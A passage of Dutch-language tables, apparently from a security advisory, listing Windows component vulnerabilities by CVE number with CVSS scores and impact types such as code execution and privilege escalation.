CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows 